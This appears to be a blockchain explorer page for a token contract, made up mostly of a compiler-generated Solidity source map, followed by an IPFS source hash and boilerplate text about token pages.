9029:21:1::0;9086:2;9066:18;;;9059:30;9125:34;9105:18;;;9098:62;-1:-1:-1;;;9176:18:1;;;9169:36;9222:19;;2881:73:0::1;8845:402:1::0;2881:73:0::1;2991:6;::::0;;2970:38:::1;::::0;-1:-1:-1;;;;;2970:38:0;;::::1;::::0;2991:6;::::1;::::0;2970:38:::1;::::0;::::1;3019:6;:17:::0;;-1:-1:-1;;;;;;3019:17:0::1;-1:-1:-1::0;;;;;3019:17:0;;;::::1;::::0;;;::::1;::::0;;2800:244::o;7212:335::-;-1:-1:-1;;;;;7305:19:0;;7297:68;;;;-1:-1:-1;;;7297:68:0;;9454:2:1;7297:68:0;;;9436:21:1;9493:2;9473:18;;;9466:30;9532:34;9512:18;;;9505:62;-1:-1:-1;;;9583:18:1;;;9576:34;9627:19;;7297:68:0;9252:400:1;7297:68:0;-1:-1:-1;;;;;7384:21:0;;7376:68;;;;-1:-1:-1;;;7376:68:0;;9859:2:1;7376:68:0;;;9841:21:1;9898:2;9878:18;;;9871:30;9937:34;9917:18;;;9910:62;-1:-1:-1;;;9988:18:1;;;9981:32;10030:19;;7376:68:0;9657:398:1;7376:68:0;-1:-1:-1;;;;;7455:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7507:32;;1392:25:1;;;7507:32:0;;1365:18:1;7507:32:0;;;;;;;7212:335;;;:::o;7659:3556::-;-1:-1:-1;;;;;7747:18:0;;7739:68;;;;-1:-1:-1;;;7739:68:0;;10262:2:1;7739:68:0;;;10244:21:1;10301:2;10281:18;;;10274:30;10340:34;10320:18;;;10313:62;-1:-1:-1;;;10391:18:1;;;10384:35;10436:19;;7739:68:0;10060:401:1;7739:68:0;-1:-1:-1;;;;;7826:16:0;;7818:64;;;;-1:-1:-1;;;7818:64:0;;10668:2:1;7818:64:0;;;10650:21:1;10707:2;10687:18;;;10680:30;10746:34;10726:18;;;10719:62;-1:-1:-1;;;10797:18:1;;;10790:33;10840:19;;7818:64:0;10466:399:1;7818:64:0;7910:1;7901:6;:10;7893:64;;;;-1:-1:-1;;;7893:64:0;;11072:2:1;7893:64:0;;;11054:21:1;11111:2;11091:18;;;11084:30;11150:34;11130:18;;;11123:62;-1:-1:-1;;;11201:18:1;;;11194:39;11250:19;;7893:64:0;10870:405:1;7893:64:0;7968:17;8017:6;8046:7;2468;2495:6;-1:-1:-1;;;;;2495:6:0;;2430:79;8046:7;-1:-1:-1;;;;;8038:15:0;:4;-1:-1:-1;;;;;8038:15:0;;;:32;;;;-1:-1:-1;2468:7:0;2495:6;-1:-1:-1;;;;;8057:13:0;;;2495:6;;8057:13;;8038:32;8034:2823;;;8099:79;8174:3;8099:70;8122:15;;8111:9;;:26;8110:58;;8154:14;;8110:58;;;8140:12;;8110:58;8099:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8087:91;;8226:10;;8210:12;:26;8207:184;;8275:12;8263:25;;;;:11;:25;;;;;;8291:2;-1:-1:-1;8255:75:0;;;;-1:-1:-1;;;8255:75:0;;11482:2:1;8255:75:0;;;11464:21:1;;;11501:18;;;11494:30;11560:34;11540:18;;;11533:62;11612:18;;8255:75:0;11280:356:1;8255:75:0;8360:12;8348:25;;;;:11;:25;;;;;:27;;;;;;:::i;:::-;;;;;;8207:184;-1:-1:-1;;;;;8411:16:0;;;;;;:10;:16;;;;;;;;:50;;;;-1:-1:-1;8445:15:0;;-1:-1:-1;;;;;8431:30:0;;;8445:15;;8431:30;;8411:50;:67;;;;-1:-1:-1;;;;;;8467:11:0;;;;;;:7;:11;;;;;;;;8465:13;8411:67;8407:297;;;8518:12;;8508:6;:22;;8500:60;;;;-1:-1:-1;;;8500:60:0;;11983:2:1;8500:60:0;;;11965:21:1;12022:2;12002:18;;;11995:30;12061:27;12041:18;;;12034:55;12106:18;;8500:60:0;11781:349:1;8500:60:0;8613:14;;8603:6;8587:13;8597:2;-1:-1:-1;;;;;6362:18:0;6335:7;6362:18;;;:9;:18;;;;;;;6269:119;8587:13;:22;;;;:::i;:::-;:40;;8579:79;;;;-1:-1:-1;;;8579:79:0;;12467:2:1;8579:79:0;;;12449:21:1;12506:2;12486:18;;;12479:30;12545:28;12525:18;;;12518:56;12591:18;;8579:79:0;12265:350:1;8579:79:0;8677:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8407:297;-1:-1:-1;;;;;8725:14:0;;;;;;:10;:14;;;;;;;;8724:15;:32;;;;-1:-1:-1;;;;;;8745:11:0;;;;;;:7;:11;;;;;;;;8743:13;8724:32;8720:152;;;8811:14;;8801:6;8785:13;8795:2;-1:-1:-1;;;;;6362:18:0;6335:7;6362:18;;;:9;:18;;;;;;;6269:119;8785:13;:22;;;;:::i;:::-;:40;;8777:79;;;;-1:-1:-1;;;8777:79:0;;12467:2:1;8777:79:0;;;12449:21:1;12506:2;12486:18;;;12479:30;12545:28;12525:18;;;12518:56;12591:18;;8777:79:0;12265:350:1;8777:79:0;-1:-1:-1;;;;;8891:14:0;;;;;;:10;:14;;;;;;;;:38;;;;-1:-1:-1;;;;;;8909:20:0;;8924:4;8909:20;;8891:38;8888:172;;;8962:82;9040:3;8962:73;8985:16;;8974:9;;:27;8973:61;;9019:15;;8973:61;;;9004:13;;8962:6;;:10;:73::i;:82::-;8950:94;;8888:172;-1:-1:-1;;;;;9079:21:0;;9095:4;9079:21;;;;:38;;-1:-1:-1;;;;;;9104:13:0;;;;;;:7;:13;;;;;;;;9079:38;9076:467;;;9137:20;9207:12;;9197:6;:22;9180:348;;-1:-1:-1;9278:2:0;9180:348;;;9379:16;;9368:9;;:27;:60;;9413:15;;9368:60;;;9398:13;;9368:60;9466:12;;9352:76;;-1:-1:-1;9462:46:0;;9481:26;:8;9352:76;9481:12;:26::i;:::-;9462:3;:46::i;:::-;9451:57;;9180:348;9118:425;9076:467;-1:-1:-1;;;;;9555:16:0;;;;;;:10;:16;;;;;;;;9554:17;:36;;;;-1:-1:-1;;;;;;9576:14:0;;;;;;:10;:14;;;;;;;;9575:15;9554:36;:60;;;;-1:-1:-1;;;;;;9594:20:0;;9609:4;9594:20;;9554:60;9550:115;;;9648:1;9636:13;;9550:115;9730:4;9681:28;6362:18;;;:9;:18;;;;;;9755:10;;;;;;;:21;;;;-1:-1:-1;9770:6:0;;;;9769:7;9755:21;:39;;;;-1:-1:-1;;;;;;9780:14:0;;;;;;:10;:14;;;;;;;;9755:39;:54;;;;-1:-1:-1;9798:11:0;;;;;;;9755:54;:86;;;;;9823:18;;9813:9;;:28;9755:86;9751:1095;;;9881:13;;9866:12;:28;9862:90;;;9931:1;9919:9;:13;9862:90;9995:17;;9974:20;:38;9970:132;;;10035:67;10052:49;10056:6;10063:37;10067:20;10088:11;;10063:3;:37::i;10052:49::-;10035:16;:67::i;:::-;10150:21;10241:35;10254:21;10241:12;:35::i;:::-;10314:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10360:12:0;10344:13;:28;-1:-1:-1;9751:1095:0;;;10413:6;;;;10412:7;:25;;;;-1:-1:-1;;;;;;10423:14:0;;;;;;:10;:14;;;;;;;;10412:25;:40;;;;-1:-1:-1;10441:11:0;;;;;;;10412:40;:72;;;;;10466:18;;10456:9;;:28;10412:72;10409:437;;;10530:17;;10509:20;:38;10505:132;;;10570:67;10587:49;10591:6;10598:37;10602:20;10623:11;;10598:3;:37::i;10570:67::-;10685:21;10776:35;10789:21;10776:12;:35::i;:::-;10486:360;10409:437;8072:2785;8034:2823;10872:11;;10869:161;;10940:4;10922:24;;;;:9;:24;;;;;;:39;;10951:9;10922:28;:39::i;:::-;10915:4;10897:24;;;;:9;:24;;;;;;;:64;;;;10979:39;;-1:-1:-1;;;;;10979:39:0;;;;;;;11008:9;1392:25:1;;1380:2;1365:18;;1246:177;10979:39:0;;;;;;;;10869:161;-1:-1:-1;;;;;11056:15:0;;;;;;:9;:15;;;;;;:29;;11076:8;11056:19;:29::i;:::-;-1:-1:-1;;;;;11040:15:0;;;;;;:9;:15;;;;;:45;11110:40;11128:21;:6;11139:9;11128:10;:21::i;:::-;-1:-1:-1;;;;;11110:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11096:13:0;;;;;;;:9;:13;;;;;:54;;;;11166:41;;;11185:21;:6;11196:9;11185:10;:21::i;:::-;11166:41;;1392:25:1;;;1380:2;1365:18;11166:41:0;;;;;;;7728:3487;;7659:3556;;;:::o;1322:190::-;1408:7;1444:12;1436:6;;;;1428:29;;;;-1:-1:-1;;;1428:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1468:9:0;1480:5;1484:1;1480;:5;:::i;:::-;1468:17;1322:190;-1:-1:-1;;;;;1322:190:0:o;1520:246::-;1578:7;1602:1;1607;1602:6;1598:47;;-1:-1:-1;1632:1:0;1625:8;;1598:47;1655:9;1667:5;1671:1;1667;:5;:::i;:::-;1655:17;-1:-1:-1;1700:1:0;1691:5;1695:1;1655:17;1691:5;:::i;:::-;:10;1683:56;;;;-1:-1:-1;;;1683:56:0;;13177:2:1;1683:56:0;;;13159:21:1;13216:2;13196:18;;;13189:30;13255:34;13235:18;;;13228:62;-1:-1:-1;;;13306:18:1;;;13299:31;13347:19;;1683:56:0;12975:397:1;1683:56:0;1757:1;1520:246;-1:-1:-1;;;1520:246:0:o;1774:132::-;1832:7;1859:39;1863:1;1866;1859:39;;;;;;;;;;;;;;;;;:3;:39::i;11225:98::-;11282:7;11309:1;11307;:3;11306:9;;11314:1;11306:9;;;-1:-1:-1;11312:1:0;11225:98;-1:-1:-1;11225:98:0:o;11331:483::-;5475:6;:13;;-1:-1:-1;;5475:13:0;5484:4;5475:13;;;11433:16:::1;::::0;;11447:1:::1;11433:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11433:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11433:16:0::1;11409:40;;11478:4;11460;11465:1;11460:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11460:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11504:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11504:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11460:7;;11504:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11494:4;11499:1;11494:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11494:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11569:15:::1;::::0;11537:62:::1;::::0;11554:4:::1;::::0;11569:15:::1;11587:11:::0;11537:8:::1;:62::i;:::-;11610:15;::::0;:196:::1;::::0;-1:-1:-1;;;11610:196:0;;-1:-1:-1;;;;;11610:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11691:11;;11610:15:::1;::::0;11733:4;;11760::::1;::::0;11780:15:::1;::::0;11610:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5511:6:0;:14;;-1:-1:-1;;5511:14:0;;;-1:-1:-1;;;;11331:483:0:o;12751:92::-;12808:10;;:27;;-1:-1:-1;;;;;12808:10:0;;;;:27;;;;;12828:6;;12808:10;:27;:10;:27;12828:6;12808:10;:27;;;;;;;;;;;;;;;;;;;;;12751:92;:::o;991:179::-;1049:7;;1081:5;1085:1;1081;:5;:::i;:::-;1069:17;;1110:1;1105;:6;;1097:46;;;;-1:-1:-1;;;1097:46:0;;14807:2:1;1097:46:0;;;14789:21:1;14846:2;14826:18;;;14819:30;14885:29;14865:18;;;14858:57;14932:18;;1097:46:0;14605:351:1;1178:136:0;1236:7;1263:43;1267:1;1270;1263:43;;;;;;;;;;;;;;;;;:3;:43::i;1914:189::-;2000:7;2035:12;2028:5;2020:28;;;;-1:-1:-1;;;2020:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2059:9:0;2071:5;2075:1;2071;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:508::-;1505:6;1513;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:52;;;1590:1;1587;1580:12;1542:52;1629:9;1616:23;1648:31;1673:5;1648:31;:::i;:::-;1698:5;-1:-1:-1;1755:2:1;1740:18;;1727:32;1768:33;1727:32;1768:33;:::i;:::-;1428:508;;1820:7;;-1:-1:-1;;;1900:2:1;1885:18;;;;1872:32;;1428:508::o;2338:247::-;2397:6;2450:2;2438:9;2429:7;2425:23;2421:32;2418:52;;;2466:1;2463;2456:12;2418:52;2505:9;2492:23;2524:31;2549:5;2524:31;:::i;2590:226::-;2649:6;2702:2;2690:9;2681:7;2677:23;2673:32;2670:52;;;2718:1;2715;2708:12;2670:52;-1:-1:-1;2763:23:1;;2590:226;-1:-1:-1;2590:226:1:o;2821:118::-;2907:5;2900:13;2893:21;2886:5;2883:32;2873:60;;2929:1;2926;2919:12;2944:241;3000:6;3053:2;3041:9;3032:7;3028:23;3024:32;3021:52;;;3069:1;3066;3059:12;3021:52;3108:9;3095:23;3127:28;3149:5;3127:28;:::i;3190:388::-;3258:6;3266;3319:2;3307:9;3298:7;3294:23;3290:32;3287:52;;;3335:1;3332;3325:12;3287:52;3374:9;3361:23;3393:31;3418:5;3393:31;:::i;:::-;3443:5;-1:-1:-1;3500:2:1;3485:18;;3472:32;3513:33;3472:32;3513:33;:::i;:::-;3565:7;3555:17;;;3190:388;;;;;:::o;3583:361::-;3648:6;3656;3709:2;3697:9;3688:7;3684:23;3680:32;3677:52;;;3725:1;3722;3715:12;3677:52;3764:9;3751:23;3783:28;3805:5;3783:28;:::i;3949:356::-;4151:2;4133:21;;;4170:18;;;4163:30;4229:34;4224:2;4209:18;;4202:62;4296:2;4281:18;;3949:356::o;4310:127::-;4371:10;4366:3;4362:20;4359:1;4352:31;4402:4;4399:1;4392:15;4426:4;4423:1;4416:15;4442:375;4530:1;4548:5;4562:249;4583:1;4573:8;4570:15;4562:249;;;4633:4;4628:3;4624:14;4618:4;4615:24;4612:50;;;4642:18;;:::i;:::-;4692:1;4682:8;4678:16;4675:49;;;4706:16;;;;4675:49;4789:1;4785:16;;;;;4745:15;;4562:249;;;4442:375;;;;;;:::o;4822:902::-;4871:5;4901:8;4891:80;;-1:-1:-1;4942:1:1;4956:5;;4891:80;4990:4;4980:76;;-1:-1:-1;5027:1:1;5041:5;;4980:76;5072:4;5090:1;5085:59;;;;5158:1;5153:174;;;;5065:262;;5085:59;5115:1;5106:10;;5129:5;;;5153:174;5190:3;5180:8;5177:17;5174:43;;;5197:18;;:::i;:::-;-1:-1:-1;;5253:1:1;5239:16;;5312:5;;5065:262;;5411:2;5401:8;5398:16;5392:3;5386:4;5383:13;5379:36;5373:2;5363:8;5360:16;5355:2;5349:4;5346:12;5342:35;5339:77;5336:203;;;-1:-1:-1;5448:19:1;;;5524:5;;5336:203;5571:42;-1:-1:-1;;5596:8:1;5590:4;5571:42;:::i;:::-;5649:6;5645:1;5641:6;5637:19;5628:7;5625:32;5622:58;;;5660:18;;:::i;:::-;5698:20;;4822:902;-1:-1:-1;;;4822:902:1:o;5729:140::-;5787:5;5816:47;5857:4;5847:8;5843:19;5837:4;5816:47;:::i;5874:168::-;5947:9;;;5978;;5995:15;;;5989:22;;5975:37;5965:71;;6016:18;;:::i;6399:251::-;6469:6;6522:2;6510:9;6501:7;6497:23;6493:32;6490:52;;;6538:1;6535;6528:12;6490:52;6570:9;6564:16;6589:31;6614:5;6589:31;:::i;7568:456::-;7656:6;7664;7672;7725:2;7713:9;7704:7;7700:23;7696:32;7693:52;;;7741:1;7738;7731:12;7693:52;-1:-1:-1;;7786:16:1;;7892:2;7877:18;;7871:25;7988:2;7973:18;;;7967:25;7786:16;;7871:25;;-1:-1:-1;7967:25:1;7568:456;-1:-1:-1;7568:456:1:o;8308:245::-;8375:6;8428:2;8416:9;8407:7;8403:23;8399:32;8396:52;;;8444:1;8441;8434:12;8396:52;8476:9;8470:16;8495:28;8517:5;8495:28;:::i;11641:135::-;11680:3;11701:17;;;11698:43;;11721:18;;:::i;:::-;-1:-1:-1;11768:1:1;11757:13;;11641:135::o;12135:125::-;12200:9;;;12221:10;;;12218:36;;;12234:18;;:::i;12620:128::-;12687:9;;;12708:11;;;12705:37;;;12722:18;;:::i;12753:217::-;12793:1;12819;12809:132;;12863:10;12858:3;12854:20;12851:1;12844:31;12898:4;12895:1;12888:15;12926:4;12923:1;12916:15;12809:132;-1:-1:-1;12955:9:1;;12753:217::o;13509:127::-;13570:10;13565:3;13561:20;13558:1;13551:31;13601:4;13598:1;13591:15;13625:4;13622:1;13615:15;13641:959;13903:4;13951:3;13940:9;13936:19;13982:6;13971:9;13964:25;14025:6;14020:2;14009:9;14005:18;13998:34;14068:3;14063:2;14052:9;14048:18;14041:31;14092:6;14127;14121:13;14158:6;14150;14143:22;14196:3;14185:9;14181:19;14174:26;;14235:2;14227:6;14223:15;14209:29;;14256:1;14266:195;14280:6;14277:1;14274:13;14266:195;;;14345:13;;-1:-1:-1;;;;;14341:39:1;14329:52;;14410:2;14436:15;;;;14401:12;;;;14377:1;14295:9;14266:195;;;-1:-1:-1;;;;;;;14517:32:1;;;;14512:2;14497:18;;14490:60;-1:-1:-1;;14581:3:1;14566:19;14559:35;14478:3;13641:959;-1:-1:-1;;;13641:959:1:o

Swarm Source

ipfs://4253601744f4d92a0b391822a50aab4bb73a701cf0fcdb791bb25fded2a5a73b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.